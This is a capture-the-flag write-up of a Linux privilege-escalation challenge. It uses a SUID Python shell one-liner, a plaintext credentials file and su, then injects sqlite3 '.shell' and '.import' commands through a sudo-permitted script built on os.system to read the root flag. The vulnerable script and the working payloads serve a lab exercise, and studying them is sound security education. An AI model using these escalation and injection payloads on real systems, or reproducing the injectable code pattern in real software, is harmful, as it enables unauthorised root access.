Space University of Interior Design

SUID and Sudo misconfigurations

Description

Storytelling is the root of interior design.

nc 20.198.209.142 55022

The flag is in the flag format: STC{...}

Author: zeyu2001

Solution

We start off as a guest user, and need to escalate our privileges to get the flag.

$ id
uid=1001(guest) gid=1001(guest) groups=1001(guest)

Let's find all files with SUID permissions.

$ find / -perm /4000 
/bin/umount
/bin/ping
/bin/mount
/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/python3.7
/usr/bin/sudo

We find that Python has SUID permissions. Refer to https://gtfobins.github.io/gtfobins/python/.

This allows us to gain the privileges of the file owner.

Use the following command, and observe that our EUID has changed to that of jared.

$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
$ id
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)

Without having the true UID set to that of jared, we cannot sudo. But while we were previously unable to view jared's files, we can now view them.

$ ls -la jared
total 900
drwx------ 1 jared jared   4096 Jul  8 18:48 .
drwxr-xr-x 1 jared jared   4096 Jul  8 18:39 ..
-rwx------ 1 jared jared    220 Apr 18  2019 .bash_logout
-rwx------ 1 jared jared   3526 Apr 18  2019 .bashrc
-rwx------ 1 jared jared    807 Apr 18  2019 .profile
-rwx------ 1 jared jared 884736 Nov 29  2015 chinook.db
-rwx------ 1 jared jared    117 Jul  8 18:38 creds.txt
-rwx------ 1 jared jared    668 Jul  8 17:58 query_db.py

There is an interesting file in jared's directory.

$ cat jared/creds.txt
In case I forget my credentials.

jared:iamrich

Thanks to my awesome sysadmin, no one else can see this file!

We found jared's credentials. Now, we can su to gain full permissions. Observe that the true UID is now that of jared.

$ id
uid=1001(guest) gid=1001(guest) euid=1000(jared) groups=1001(guest)

$ su jared
iamrich

$ id
uid=1000(jared) gid=1000(jared) groups=1000(jared),27(sudo)

If we check our sudo privileges, we find that we can execute query_db.py with elevated privileges.

$ sudo -l 
Matching Defaults entries for jared on fa9f84013480:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jared may run the following commands on fa9f84013480:
    (ALL) NOPASSWD: /home/jared/query_db.py

This Python file queries the chinook.db database, and allows a --row argument.

#!/usr/bin/python3
import os
import tempfile
import argparse


def query_db(row):
    
    if not row:
        row = 'FirstName'

    sql = f".open /home/jared/chinook.db\nSELECT {row} FROM employees;"
    os.system(f'echo "{sql}" | /usr/bin/sqlite3')

    print("Done!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--row", help="Row to query")
    args = parser.parse_args()

    query_db(args.row)

If we refer to https://gtfobins.github.io/gtfobins/sqlite3/, we can find some payloads to help us. Here are two working payloads to get the flag.

Payload 1

sqlite3 has the .shell command, which allows you to run system commands.

.shell CMD ARGS...       Run CMD ARGS... in a system shell

We can use this to run cat /root/flag.txt.

$ sudo ./query_db.py --row "FirstName FROM employees;\n.shell cat /root/flag.txt;\nSELECT FirstName"
Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
Done!

Payload 2

We can alternatively use .import to import data from a file into a table.

$ sudo ./query_db.py --row "FirstName FROM employees;\n.open\nCREATE TABLE a(line TEXT);\n.import /root/flag.txt a\nSELECT * FROM a;\nSELECT FirstName"
Andrew
Nancy
Jane
Margaret
Steve
Michael
Robert
Laura
STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}
Done!

Both are equally valid! The flag is STC{sud0_4nd_su1d_ea4b1d43ddf99e0c8f3338c8e33d5808}.